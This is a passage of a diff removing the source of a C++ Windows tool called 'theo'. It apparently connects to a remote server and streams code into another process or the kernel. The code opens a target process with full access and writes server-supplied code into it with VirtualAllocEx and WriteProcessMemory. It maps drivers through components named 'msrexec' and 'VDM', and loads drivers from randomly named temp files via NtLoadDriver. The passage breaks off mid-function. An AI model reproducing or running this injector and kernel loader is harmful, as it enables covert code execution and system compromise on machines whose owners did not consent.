<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_WINSOCK_DEPRECATED_NO_WARNINGS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>Ws2_32.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_WINSOCK_DEPRECATED_NO_WARNINGS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||
<Optimization>Disabled</Optimization>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>Ws2_32.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="client.cpp" />
|
||||
<ClCompile Include="main.cpp" />
|
||||
<ClCompile Include="msrexec\msrexec.cpp" />
|
||||
<ClCompile Include="vdm\vdm_ctx.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="client.hpp" />
|
||||
<ClInclude Include="loadup.hpp" />
|
||||
<ClInclude Include="msrexec\ia32.hpp" />
|
||||
<ClInclude Include="msrexec\msrexec.hpp" />
|
||||
<ClInclude Include="msrexec\raw_driver.hpp" />
|
||||
<ClInclude Include="msrexec\syscall_handler.h" />
|
||||
<ClInclude Include="msrexec\vdm.hpp" />
|
||||
<ClInclude Include="utils.hpp" />
|
||||
<ClInclude Include="vdm\raw_driver.hpp" />
|
||||
<ClInclude Include="vdm\vdm.hpp" />
|
||||
<ClInclude Include="vdm\vdm_ctx.hpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<MASM Include="msrexec\syscall_handler.asm">
|
||||
<FileType>Document</FileType>
|
||||
</MASM>
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
|
||||
</ImportGroup>
|
||||
</Project>
|
@ -1,79 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files\vdm">
|
||||
<UniqueIdentifier>{93bb5bf3-c86c-4015-af08-ab18a2cb53ef}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="Header Files\msrexec">
|
||||
<UniqueIdentifier>{850a83e4-6a8d-4e43-b4ac-61e33684306f}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="Source Files\msrexec">
|
||||
<UniqueIdentifier>{3e860da9-aa94-415e-895c-6ef8fd8a4d9f}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="Source Files\vdm">
|
||||
<UniqueIdentifier>{3dc90298-3937-43af-9583-880ca81c26c4}</UniqueIdentifier>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="main.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="client.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="msrexec\msrexec.cpp">
|
||||
<Filter>Source Files\msrexec</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="vdm\vdm_ctx.cpp">
|
||||
<Filter>Source Files\vdm</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="client.hpp">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="loadup.hpp">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="utils.hpp">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="msrexec\msrexec.hpp">
|
||||
<Filter>Header Files\msrexec</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="msrexec\raw_driver.hpp">
|
||||
<Filter>Header Files\msrexec</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="msrexec\syscall_handler.h">
|
||||
<Filter>Header Files\msrexec</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="msrexec\vdm.hpp">
|
||||
<Filter>Header Files\msrexec</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="vdm\raw_driver.hpp">
|
||||
<Filter>Header Files\vdm</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="vdm\vdm.hpp">
|
||||
<Filter>Header Files\vdm</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="vdm\vdm_ctx.hpp">
|
||||
<Filter>Header Files\vdm</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="msrexec\ia32.hpp">
|
||||
<Filter>Header Files\msrexec</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<MASM Include="msrexec\syscall_handler.asm">
|
||||
<Filter>Source Files</Filter>
|
||||
</MASM>
|
||||
</ItemGroup>
|
||||
</Project>
|
@ -1,4 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
@ -1,70 +0,0 @@
|
||||
#include "client.hpp"
|
||||
|
||||
namespace theo
|
||||
{
|
||||
client::client
|
||||
(
|
||||
SOCKET client_socket,
|
||||
const theo::theo_data& init_packet,
|
||||
const mapper_routines_t& routines
|
||||
)
|
||||
:
|
||||
client_socket(client_socket),
|
||||
alloc(std::get<0>(routines)),
|
||||
mcopy(std::get<1>(routines)),
|
||||
resolver(std::get<2>(routines))
|
||||
{
|
||||
// send first packet to the server... this is an init packet...
|
||||
if (send(client_socket, reinterpret_cast<const char*>(
|
||||
&init_packet), sizeof init_packet, NULL) == SOCKET_ERROR)
|
||||
std::printf("[!] failed to send init packet... reason = %d\n",
|
||||
WSAGetLastError());
|
||||
}
|
||||
|
||||
std::uintptr_t client::handle() const
|
||||
{
|
||||
theo::theo_data packet;
|
||||
memset(&packet, NULL, sizeof packet);
|
||||
|
||||
while (recv(client_socket, reinterpret_cast<char*>(
|
||||
&packet), sizeof packet, MSG_WAITALL) != SOCKET_ERROR)
|
||||
{
|
||||
switch (packet.type)
|
||||
{
|
||||
case theo::theo_packet_type::alloc_memory:
|
||||
{
|
||||
packet.alloc.addr = alloc(packet.alloc.alloc_size, packet.alloc.prot);
|
||||
break;
|
||||
}
|
||||
case theo::theo_packet_type::copy_memory:
|
||||
{
|
||||
mcopy(packet.copy_memory.dest_addr,
|
||||
packet.copy_memory.data, packet.copy_memory.size);
|
||||
break;
|
||||
}
|
||||
case theo::theo_packet_type::resolve_symbol:
|
||||
{
|
||||
packet.resolve.symbol_addr =
|
||||
resolver(packet.resolve.symbol);
|
||||
break;
|
||||
}
|
||||
case theo::theo_packet_type::disconnect:
|
||||
{
|
||||
const auto result = packet.entry_point;
|
||||
closesocket(client_socket);
|
||||
return result;
|
||||
}
|
||||
}
|
||||
|
||||
send(client_socket, reinterpret_cast<char*>(
|
||||
&packet), sizeof packet, NULL);
|
||||
|
||||
memset(&packet, NULL, sizeof packet);
|
||||
}
|
||||
|
||||
std::printf("[+] socket closed with reason = %d\n",
|
||||
WSAGetLastError());
|
||||
|
||||
return {};
|
||||
}
|
||||
}
|
@ -1,92 +0,0 @@
|
||||
#pragma once
|
||||
#include <winsock2.h>
|
||||
#include <Windows.h>
|
||||
#include <cstdint>
|
||||
#include <cstddef>
|
||||
#include <functional>
|
||||
|
||||
// if you change this, make sure
|
||||
// to change it in the client also...
|
||||
#define PACKET_DATA_SIZE 0x1000
|
||||
|
||||
// max symbol string size... if you
|
||||
// change this update the client also...
|
||||
#define PACKET_SYMBOL_SIZE 0x1000
|
||||
|
||||
namespace theo
|
||||
{
|
||||
enum class theo_packet_type
|
||||
{
|
||||
init,
|
||||
alloc_memory,
|
||||
resolve_symbol,
|
||||
copy_memory,
|
||||
disconnect
|
||||
};
|
||||
|
||||
enum class theo_file_type
|
||||
{
|
||||
demo_drv,
|
||||
demo_dll,
|
||||
demo_imgui
|
||||
};
|
||||
|
||||
#pragma pack(push, 1)
|
||||
typedef struct _theo_data
|
||||
{
|
||||
theo_packet_type type;
|
||||
|
||||
union
|
||||
{
|
||||
theo_file_type file;
|
||||
std::uintptr_t entry_point;
|
||||
|
||||
struct
|
||||
{
|
||||
void* addr;
|
||||
std::size_t alloc_size;
|
||||
std::uint32_t prot;
|
||||
} alloc;
|
||||
|
||||
struct
|
||||
{
|
||||
void* dest_addr;
|
||||
std::size_t size;
|
||||
std::uint8_t data[PACKET_DATA_SIZE];
|
||||
} copy_memory;
|
||||
|
||||
struct
|
||||
{
|
||||
std::uintptr_t symbol_addr;
|
||||
std::size_t symbol_size;
|
||||
char symbol[PACKET_SYMBOL_SIZE];
|
||||
} resolve;
|
||||
};
|
||||
} theo_data, * ptheo_data;
|
||||
#pragma pack(pop)
|
||||
|
||||
using malloc_t = std::function<void*(std::size_t, std::uint32_t)>;
|
||||
using memcpy_t = std::function<decltype(memcpy)>;
|
||||
|
||||
using resolve_symbol_t = std::function<std::uintptr_t(const char*)>;
|
||||
using mapper_routines_t = std::tuple<malloc_t, memcpy_t, resolve_symbol_t>;
|
||||
|
||||
class client
|
||||
{
|
||||
public:
|
||||
explicit client
|
||||
(
|
||||
SOCKET client_socket,
|
||||
const theo::theo_data& init_packet,
|
||||
const mapper_routines_t& routines
|
||||
);
|
||||
|
||||
// returns entry point...
|
||||
std::uintptr_t handle() const;
|
||||
private:
|
||||
SOCKET client_socket;
|
||||
malloc_t alloc;
|
||||
memcpy_t mcopy;
|
||||
resolve_symbol_t resolver;
|
||||
};
|
||||
}
|
@ -1,263 +0,0 @@
|
||||
/*
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2020 xerox
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
*/
|
||||
|
||||
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <Winternl.h>
|
||||
#include <string>
|
||||
#include <fstream>
|
||||
#include <filesystem>
|
||||
#include <ntstatus.h>
|
||||
#include <time.h>
|
||||
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
extern "C" NTSTATUS NtLoadDriver(PUNICODE_STRING);
|
||||
extern "C" NTSTATUS NtUnloadDriver(PUNICODE_STRING);
|
||||
|
||||
namespace driver
|
||||
{
|
||||
namespace util
|
||||
{
|
||||
inline auto delete_service_entry(const std::string& service_name) -> bool
|
||||
{
|
||||
HKEY reg_handle;
|
||||
static const std::string reg_key("System\\CurrentControlSet\\Services\\");
|
||||
|
||||
auto result = RegOpenKeyA(
|
||||
HKEY_LOCAL_MACHINE,
|
||||
reg_key.c_str(),
|
||||
®_handle
|
||||
);
|
||||
|
||||
return ERROR_SUCCESS == RegDeleteKeyA(reg_handle, service_name.data()) &&
|
||||
ERROR_SUCCESS == RegCloseKey(reg_handle);;
|
||||
}
|
||||
|
||||
inline auto create_service_entry(const std::string& drv_path, const std::string& service_name) -> bool
|
||||
{
|
||||
HKEY reg_handle;
|
||||
std::string reg_key("System\\CurrentControlSet\\Services\\");
|
||||
reg_key += service_name;
|
||||
|
||||
auto result = RegCreateKeyA(
|
||||
HKEY_LOCAL_MACHINE,
|
||||
reg_key.c_str(),
|
||||
®_handle
|
||||
);
|
||||
|
||||
if (result != ERROR_SUCCESS)
|
||||
return false;
|
||||
|
||||
std::uint8_t type_value = 1;
|
||||
result = RegSetValueExA(
|
||||
reg_handle,
|
||||
"Type",
|
||||
NULL,
|
||||
REG_DWORD,
|
||||
&type_value,
|
||||
4u
|
||||
);
|
||||
|
||||
if (result != ERROR_SUCCESS)
|
||||
return false;
|
||||
|
||||
std::uint8_t error_control_value = 3;
|
||||
result = RegSetValueExA(
|
||||
reg_handle,
|
||||
"ErrorControl",
|
||||
NULL,
|
||||
REG_DWORD,
|
||||
&error_control_value,
|
||||
4u
|
||||
);
|
||||
|
||||
if (result != ERROR_SUCCESS)
|
||||
return false;
|
||||
|
||||
std::uint8_t start_value = 3;
|
||||
result = RegSetValueExA(
|
||||
reg_handle,
|
||||
"Start",
|
||||
NULL,
|
||||
REG_DWORD,
|
||||
&start_value,
|
||||
4u
|
||||
);
|
||||
|
||||
if (result != ERROR_SUCCESS)
|
||||
return false;
|
||||
|
||||
result = RegSetValueExA(
|
||||
reg_handle,
|
||||
"ImagePath",
|
||||
NULL,
|
||||
REG_SZ,
|
||||
(std::uint8_t*)drv_path.c_str(),
|
||||
drv_path.size()
|
||||
);
|
||||
|
||||
if (result != ERROR_SUCCESS)
|
||||
return false;
|
||||
|
||||
return ERROR_SUCCESS == RegCloseKey(reg_handle);
|
||||
}
|
||||
|
||||
inline auto enable_privilege(const std::wstring& privilege_name) -> bool
|
||||
{
|
||||
HANDLE token_handle = nullptr;
|
||||
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token_handle))
|
||||
return false;
|
||||
|
||||
LUID luid{};
|
||||
if (!LookupPrivilegeValueW(nullptr, privilege_name.data(), &luid))
|
||||
return false;
|
||||
|
||||
TOKEN_PRIVILEGES token_state{};
|
||||
token_state.PrivilegeCount = 1;
|
||||
token_state.Privileges[0].Luid = luid;
|
||||
token_state.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
|
||||
if (!AdjustTokenPrivileges(token_handle, FALSE, &token_state, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr))
|
||||
return false;
|
||||
|
||||
CloseHandle(token_handle);
|
||||
return true;
|
||||
}
|
||||
|
||||
inline auto get_service_image_path(const std::string& service_name) -> std::string
|
||||
{
|
||||
HKEY reg_handle;
|
||||
DWORD bytes_read;
|
||||
char image_path[0xFF];
|
||||
static const std::string reg_key("System\\CurrentControlSet\\Services\\");
|
||||
|
||||
auto result = RegOpenKeyA(
|
||||
HKEY_LOCAL_MACHINE,
|
||||
reg_key.c_str(),
|
||||
®_handle
|
||||
);
|
||||
|
||||
result = RegGetValueA(
|
||||
reg_handle,
|
||||
service_name.c_str(),
|
||||
"ImagePath",
|
||||
REG_SZ,
|
||||
NULL,
|
||||
image_path,
|
||||
&bytes_read
|
||||
);
|
||||
|
||||
RegCloseKey(reg_handle);
|
||||
return std::string(image_path);
|
||||
}
|
||||
}
|
||||
|
||||
inline auto load(const std::string& drv_path, const std::string& service_name) -> NTSTATUS
|
||||
{
|
||||
if (!util::enable_privilege(L"SeLoadDriverPrivilege"))
|
||||
return false;
|
||||
|
||||
if (!util::create_service_entry("\\??\\" +
|
||||
std::filesystem::absolute(std::filesystem::path(drv_path)).string(), service_name))
|
||||
return false;
|
||||
|
||||
std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
|
||||
reg_path += service_name;
|
||||
|
||||
ANSI_STRING driver_rep_path_cstr;
|
||||
UNICODE_STRING driver_reg_path_unicode;
|
||||
|
||||
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
|
||||
RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
|
||||
return NtLoadDriver(&driver_reg_path_unicode);
|
||||
}
|
||||
|
||||
inline auto load(const std::vector<std::uint8_t>& drv_buffer) -> std::pair<NTSTATUS, std::string>
|
||||
{
|
||||
static const auto random_file_name = [](std::size_t length) -> std::string
|
||||
{
|
||||
std::srand(std::time(0));
|
||||
static const auto randchar = []() -> char
|
||||
{
|
||||
const char charset[] =
|
||||
"0123456789"
|
||||
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||
"abcdefghijklmnopqrstuvwxyz";
|
||||
const std::size_t max_index = (sizeof(charset) - 1);
|
||||
return charset[rand() % max_index];
|
||||
};
|
||||
|
||||
std::string str(length, 0);
|
||||
std::generate_n(str.begin(), length, randchar);
|
||||
return str;
|
||||
};
|
||||
|
||||
const auto service_name = random_file_name(16);
|
||||
const auto file_path = std::filesystem::temp_directory_path().string() + service_name;
|
||||
std::ofstream output_file(file_path.c_str(), std::ios::binary);
|
||||
|
||||
output_file.write((char*)drv_buffer.data(), drv_buffer.size());
|
||||
output_file.close();
|
||||
|
||||
return { load(file_path, service_name), service_name };
|
||||
}
|
||||
|
||||
inline auto load(const std::uint8_t* buffer, const std::size_t size) -> std::pair<NTSTATUS, std::string>
|
||||
{
|
||||
std::vector<std::uint8_t> image(buffer, buffer + size);
|
||||
return load(image);
|
||||
}
|
||||
|
||||
inline auto unload(const std::string& service_name) -> NTSTATUS
|
||||
{
|
||||
std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
|
||||
reg_path += service_name;
|
||||
|
||||
ANSI_STRING driver_rep_path_cstr;
|
||||
UNICODE_STRING driver_reg_path_unicode;
|
||||
|
||||
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
|
||||
RtlAnsiStringToUnicodeString(
|
||||
&driver_reg_path_unicode, &driver_rep_path_cstr, true);
|
||||
|
||||
const bool unload_result =
|
||||
NtUnloadDriver(&driver_reg_path_unicode);
|
||||
|
||||
util::delete_service_entry(service_name);
|
||||
// sometimes you cannot delete the driver off disk because there are still handles open
|
||||
// to the driver, this means the driver is still loaded into the kernel...
|
||||
try
|
||||
{
|
||||
std::filesystem::remove(
|
||||
std::filesystem::temp_directory_path()
|
||||
.string() + service_name);
|
||||
}
|
||||
catch (std::exception& e)
|
||||
{
|
||||
return STATUS_ABANDONED;
|
||||
}
|
||||
return unload_result;
|
||||
}
|
||||
}
|
@ -1,525 +0,0 @@
|
||||
#include <iostream>
|
||||
#include <ws2tcpip.h>
|
||||
#include <Psapi.h>
|
||||
|
||||
#include <map>
|
||||
#include <filesystem>
|
||||
|
||||
#include "client.hpp"
|
||||
#include "msrexec/msrexec.hpp"
|
||||
#include "msrexec/vdm.hpp"
|
||||
#include "vdm/vdm_ctx.hpp"
|
||||
|
||||
using map_symbols_t = std::map<std::string, std::pair<std::uint32_t, std::uint32_t>>;
|
||||
using extern_symbols_t = std::vector<std::pair<std::string, map_symbols_t>>;
|
||||
|
||||
auto get_map_symbols(std::string map_path) -> map_symbols_t
|
||||
{
|
||||
std::ifstream map_file(map_path);
|
||||
|
||||
if (!map_file.is_open())
|
||||
return { {}, {} };
|
||||
|
||||
std::string line;
|
||||
map_symbols_t result;
|
||||
while (std::getline(map_file, line))
|
||||
{
|
||||
const auto colon_index = line.find(":");
|
||||
if (colon_index == std::string::npos)
|
||||
break;
|
||||
|
||||
const auto section_number =
|
||||
std::strtoul(line.substr(1,
|
||||
colon_index).c_str(), NULL, 16);
|
||||
|
||||
const auto section_offset =
|
||||
std::strtoull(line.substr(
|
||||
colon_index + 1, 16).c_str(), NULL, 16);
|
||||
|
||||
auto symbol = line.substr(
|
||||
colon_index + 16 + 8,
|
||||
line.length() - (colon_index + 16 + 7));
|
||||
|
||||
symbol[symbol.length()] = '\0';
|
||||
result[symbol] = { section_number, section_offset };
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
int __cdecl main(int argc, char** argv)
|
||||
{
|
||||
if (argc <= 5)
|
||||
{
|
||||
std::printf("[!] invalid usage... please review the following:\n");
|
||||
std::printf("\t> client.exe --ip 127.0.0.1 --port 1234 --DemoDll --pid 14234\n");
|
||||
std::printf("\t> client.exe --ip 127.0.0.1 --port 1234 --DemoImGui --pid 14234\n");
|
||||
std::printf("\t\t> --pid, provide a process id to inject into...\n");
|
||||
std::printf("\t\t> --ip, must be specific I.E 127.0.0.1...\n");
|
||||
std::printf("\t\t> --port, port number to connect too...\n");
|
||||
std::printf("\t\t> --DemoDll, streams demo dll...\n");
|
||||
std::printf("\t\t> --DemoImGui, streams demo imgui project...\n");
|
||||
std::printf("\t> client.exe --ip 127.0.0.1 --port 1234 --DemoDrv --MSREXEC --maps ntoskrnl.exe.map\n");
|
||||
std::printf("\t> client.exe --ip 127.0.0.1 --port 1234 --DemoDrv --VDM --maps ntoskrnl.exe.map\n");
|
||||
std::printf("\t\t> --pid, provide a process id to inject into...\n");
|
||||
std::printf("\t\t> --ip, must be specific I.E 127.0.0.1...\n");
|
||||
std::printf("\t\t> --MSREXEC, use MSREXEC to map the driver...\n");
|
||||
std::printf("\t\t> --VDM, use VDM to map the driver...\n");
|
||||
std::printf("\t\t> --maps, map files for unexported symbols...\n");
|
||||
std::printf("\t\t> --DemoDrv, maps demo driver into the kernel...\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
int result{};
|
||||
SOCKET client_socket;
|
||||
WSADATA startup_data;
|
||||
ADDRINFOA addr_info, * addr_result = nullptr;
|
||||
memset(&addr_info, NULL, sizeof addr_info);
|
||||
|
||||
if ((result = WSAStartup(MAKEWORD(2, 2), &startup_data)))
|
||||
{
|
||||
std::printf("[!] failed to startup wsa... reason = %d\n", result);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if ((result = getaddrinfo(argv[2], argv[4], &addr_info, &addr_result)))
|
||||
{
|
||||
std::printf("[!] failed to get address info = %s:%s, reason = %d\n",
|
||||
argv[2], argv[4], result);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if ((client_socket = socket(addr_result->ai_family,
|
||||
addr_result->ai_socktype, addr_result->ai_protocol)) == INVALID_SOCKET)
|
||||
{
|
||||
std::printf("[!] failed to create socket... reason = %d\n",
|
||||
WSAGetLastError());
|
||||
return -1;
|
||||
}
|
||||
|
||||
if ((result = connect(client_socket, addr_result->ai_addr,
|
||||
addr_result->ai_addrlen)) == SOCKET_ERROR)
|
||||
{
|
||||
std::printf("[!] failed to connect to server... reason = %d\n",
|
||||
WSAGetLastError());
|
||||
return -1;
|
||||
}
|
||||
|
||||
std::printf("[+] connected to theo server (%s:%s)\n",
|
||||
argv[2], argv[4]);
|
||||
|
||||
theo::theo_data packet;
|
||||
packet.type = theo::theo_packet_type::init;
|
||||
|
||||
// determine which file we are asking to map...
|
||||
for (auto idx = 0u; idx < argc; ++idx)
|
||||
{
|
||||
if (!strcmp(argv[idx], "--DemoDll"))
|
||||
{
|
||||
packet.file = theo::theo_file_type::demo_dll;
|
||||
break;
|
||||
}
|
||||
else if (!strcmp(argv[idx], "--DemoDrv"))
|
||||
{
|
||||
packet.file = theo::theo_file_type::demo_drv;
|
||||
break;
|
||||
}
|
||||
else if (!strcmp(argv[idx], "--DemoImGui"))
|
||||
{
|
||||
packet.file = theo::theo_file_type::demo_imgui;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
switch (packet.file)
|
||||
{
|
||||
case theo::theo_file_type::demo_dll:
|
||||
case theo::theo_file_type::demo_imgui:
|
||||
{
|
||||
std::uint32_t pid_offset = 0u, pid = 0u;
|
||||
for (auto idx = 3; idx < argc; ++idx)
|
||||
if (!strcmp(argv[idx], "--pid"))
|
||||
pid_offset = idx + 1;
|
||||
|
||||
if (!pid_offset || !(pid = std::atoi(argv[pid_offset])))
|
||||
{
|
||||
std::printf("[!] invalid pid...\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
const auto phandle =
|
||||
OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
|
||||
|
||||
if (phandle == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
std::printf("[!] failed to open handle...\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
theo::malloc_t _alloc =
|
||||
[&](std::size_t size, std::uint32_t prot) -> void*
|
||||
{
|
||||
const auto result =
|
||||
VirtualAllocEx
|
||||
(
|
||||
phandle,
|
||||
nullptr,
|
||||
size,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
prot
|
||||
);
|
||||
|
||||
if (!result)
|
||||
{
|
||||
std::printf("[!] failed to allocate virtual memory...\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
return result;
|
||||
};
|
||||
|
||||
theo::memcpy_t _memcpy =
|
||||
[&](void* dest, const void* src, std::size_t size) -> void*
|
||||
{
|
||||
SIZE_T bytes_handled;
|
||||
if (!WriteProcessMemory(phandle, dest, src, size, &bytes_handled))
|
||||
{
|
||||
std::printf("[!] failed to write memory... reason = 0x%x\n", GetLastError());
|
||||
std::getchar();
|
||||
}
|
||||
return dest;
|
||||
};
|
||||
|
||||
theo::resolve_symbol_t _resolver =
|
||||
[&](const char* symbol_name) -> std::uintptr_t
|
||||
{
|
||||
static std::map<std::string, std::uintptr_t> symbol_table;
|
||||
|
||||
if (!symbol_table[symbol_name])
|
||||
{
|
||||
auto loaded_modules = std::make_unique<HMODULE[]>(64);
|
||||
std::uintptr_t result = 0u, loaded_module_sz = 0u;
|
||||
|
||||
if (!EnumProcessModules(phandle,
|
||||
loaded_modules.get(), 512, (PDWORD)&loaded_module_sz))
|
